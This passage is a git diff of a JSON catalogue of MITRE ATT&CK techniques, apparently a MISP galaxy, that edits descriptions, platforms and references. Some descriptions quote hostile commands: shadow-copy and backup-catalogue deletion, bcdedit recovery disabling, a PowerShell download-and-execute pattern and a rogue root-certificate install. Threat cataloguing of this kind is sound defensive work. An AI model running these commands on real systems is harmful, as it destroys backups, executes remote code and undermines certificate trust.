"https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" ] }, "uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", @@ -12005,14 +10822,6 @@ "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)", "meta": { "external_id": "CAPEC-479", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", "https://attack.mitre.org/techniques/T1130", @@ -12041,12 +10850,6 @@ "description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)", "meta": { "external_id": "CAPEC-551", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1031", "https://capec.mitre.org/data/definitions/551.html", @@ -12083,20 +10886,12 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html" ] }, - "related": [ - { - "dest-uuid": "9c049d7b-c92a-4733-9381-27e2bd2ccadc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "82f04b1e-5371-4a6f-be06-411f0f43b483", "value": "Device Administrator Permissions - T1401" }, { - "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as [ftp](https://attack.mitre.org/software/S0095). Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570)). \n\nFiles can also be transferred using various [Web Service](https://attack.mitre.org/techniques/T1102)s as well as native or otherwise present tools on the victim system.(Citation: PTSecurity Cobalt Dec 2016)\n\nOn Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, and [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`.(Citation: t1105_lolbas)", + "description": "Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", "meta": { "external_id": "T1105", "kill_chain": [ @@ -12115,9 +10910,7 @@ ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", - "https://attack.mitre.org/techniques/T1105", - "https://lolbas-project.github.io/#t1105", - "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + "https://attack.mitre.org/techniques/T1105" ] }, "uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", @@ -12169,14 +10962,6 @@ "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.", "meta": { "external_id": "CAPEC-187", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1017", "https://capec.mitre.org/data/definitions/187.html" @@ -12222,15 +11007,6 @@ "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n", "meta": { "external_id": "CAPEC-639", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows", - "IaaS", - "Linux", - "macOS" - ], "refs": [ "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx", "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html", @@ -12252,7 +11028,7 @@ "value": "Credentials in Files - T1081" }, { - "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039).\n\nAdversaries may also analyze data from local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) or other passive means (such as local [Arp](https://attack.mitre.org/software/S0099) cache entries) in order to discover the presence of remote systems in an environment.\n\nAdversaries may also target discovery of network infrastructure as well as leverage [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands on network devices to gather detailed information about systems within a network.(Citation: US-CERT-TA18-106A)(Citation: CISA AR21-126A FIVEHANDS May 2021) \n", + "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n", "meta": { "external_id": "CAPEC-292", "kill_chain": [ @@ -12267,15 +11043,12 @@ "mitre_platforms": [ "Linux", "macOS", - "Windows", - "Network" + "Windows" ], "refs": [ "https://attack.mitre.org/techniques/T1018", "https://capec.mitre.org/data/definitions/292.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", - "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" ] }, "uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", @@ -12337,14 +11110,6 @@ "description": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", "meta": { "external_id": "T1032", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", @@ -12383,14 +11148,6 @@ "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)", "meta": { "external_id": "T1024", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "https://attack.mitre.org/techniques/T1024", @@ -12427,15 +11184,7 @@ "https://securelist.com/the-rotexy-mobile-trojan-banker-and-ransomware/88893/" ] }, - "related": [ - { - "dest-uuid": "fd211238-f767-4599-8c0d-9dca36624626", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "60623164-ccd8-4508-a141-b5a34820b3de", "value": "Domain Generation Algorithms - T1520" }, @@ -12443,13 +11192,6 @@ "description": "Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)\n\nAdversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](https://attack.mitre.org/techniques/T1064) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)\n\nExplicitly assigning the PPID may also enable [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)", "meta": { "external_id": "T1502", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1502", "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/", @@ -12559,7 +11301,7 @@ "value": "Software Deployment Tools - T1072" }, { - "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information.(Citation: US-CERT-TA18-106A) [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)", "meta": { "external_id": "CAPEC-312", "kill_chain": [ @@ -12575,8 +11317,7 @@ "Windows", "IaaS", "Linux", - "macOS", - "Network" + "macOS" ], "refs": [ "https://attack.mitre.org/techniques/T1082", @@ -12585,8 +11326,7 @@ "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html", "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get", "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", - "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/", - "https://www.us-cert.gov/ncas/alerts/TA18-106A" + "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/" ] }, "uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", @@ -12596,13 +11336,6 @@ "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)", "meta": { "external_id": "CAPEC-555", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-us/library/aa384426", "https://attack.mitre.org/techniques/T1028", @@ -12661,13 +11394,6 @@ "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.", "meta": { "external_id": "T1063", - "kill_chain": [ - "mitre-attack:discovery" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1063" ] @@ -12698,6 +11424,25 @@ "uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81", "value": "Test physical access - T1360" }, + { + "description": "A malicious app can exploit unpatched vulnerabilities in the operating system to obtain escalated privileges.", + "meta": { + "external_id": "APP-26", + "kill_chain": [ + "mitre-mobile-attack:privilege-escalation" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1404", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-26.html" + ] + }, + "uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "value": "Exploit OS Vulnerability - T1404" + }, { "description": "A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).", "meta": { @@ -12722,24 +11467,7 @@ "value": "Exploit TEE Vulnerability - T1405" }, { - "description": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts. ", - "meta": { - "external_id": "T1640", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1640" - ] - }, - "uuid": "e2c2249a-eb82-4614-8dd4-9c514dde65e2", - "value": "Account Access Removal - T1640" - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021) \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.\n\nWithin macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley)", + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. \n\nWithin cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.", "meta": { "external_id": "CAPEC-300", "kill_chain": [ @@ -12755,19 +11483,15 @@ "IaaS", "Linux", "macOS", - "Containers", - "Network" + "Containers" ], "refs": [ "https://attack.mitre.org/techniques/T1046", - "https://capec.mitre.org/data/definitions/300.html", - "https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/NetServices/Introduction.html", - "https://themittenmac.com/what-does-apt-activity-look-like-on-macos/", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a" + "https://capec.mitre.org/data/definitions/300.html" ] }, "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "value": "Network Service Discovery - T1046" + "value": "Network Service Scanning - T1046" }, { "description": "Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)\n\nThe most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.", @@ -12788,7 +11512,7 @@ "value": "Proxy Through Victim - T1604" }, { - "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)", + "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)", "meta": { "external_id": "T1047", "kill_chain": [ @@ -12813,27 +11537,7 @@ "value": "Windows Management Instrumentation - T1047" }, { - "description": "Adversaries may try to access and collect application data resident on the device. Adversaries often target popular applications, such as Facebook, WeChat, and Gmail.(Citation: SWB Exodus March 2019) \n\n \n\nDue to mobile OS sandboxing, this technique is only possible in three scenarios: \n\n \n\n* An application stores files in unprotected external storage \n* An application stores files in its internal storage directory with insecure permissions (e.g. 777) \n* The adversary gains root permissions on the device ", - "meta": { - "external_id": "AUT-0", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1409", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-0.html", - "https://securitywithoutborders.org/blog/2019/03/29/exodus.html" - ] - }, - "uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", - "value": "Stored Application Data - T1409" - }, - { - "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", + "description": "Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* vssadmin.exe can be used to delete all volume shadow copies on a system - vssadmin.exe delete shadows /all /quiet\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - wmic shadowcopy delete\n* wbadmin.exe can be used to delete the Windows Backup Catalog - wbadmin.exe delete catalog -quiet\n* bcdedit.exe can be used to disable automatic Windows recovery features by modifying boot configuration data - bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no", "meta": { "external_id": "T1490", "kill_chain": [ @@ -12918,14 +11622,6 @@ "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019) ", "meta": { "external_id": "T1506", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Office 365", - "SaaS" - ], "refs": [ "https://attack.mitre.org/techniques/T1506", "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", @@ -12948,14 +11644,6 @@ "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.", "meta": { "external_id": "T1065", - "kill_chain": [ - "mitre-attack:command-and-control" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", "https://attack.mitre.org/techniques/T1065" @@ -12987,15 +11675,7 @@ "https://attack.mitre.org/techniques/T1507" ] }, - "related": [ - { - "dest-uuid": "dd818ea5-adf5-41c7-93b5-f3b839a219fb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e4c347e9-fb91-4bc5-83b8-391e389131e2", "value": "Network Information Discovery - T1507" }, @@ -13003,12 +11683,6 @@ "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)", "meta": { "external_id": "CAPEC-644", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm", "https://attack.mitre.org/techniques/T1075", @@ -13028,7 +11702,7 @@ "value": "Pass the Hash - T1075" }, { - "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e. [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095).", + "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", "meta": { "external_id": "T1570", "kill_chain": [ @@ -13050,8 +11724,7 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1570", - "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + "https://attack.mitre.org/techniques/T1570" ] }, "uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", @@ -13074,20 +11747,12 @@ "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" ] }, - "related": [ - { - "dest-uuid": "f05fc151-aa62-47e3-ae57-2d1b23d64bf6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "fd658820-cbba-4c95-8ac9-0fac6b1099e2", "value": "Suppress Application Icon - T1508" }, { - "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database 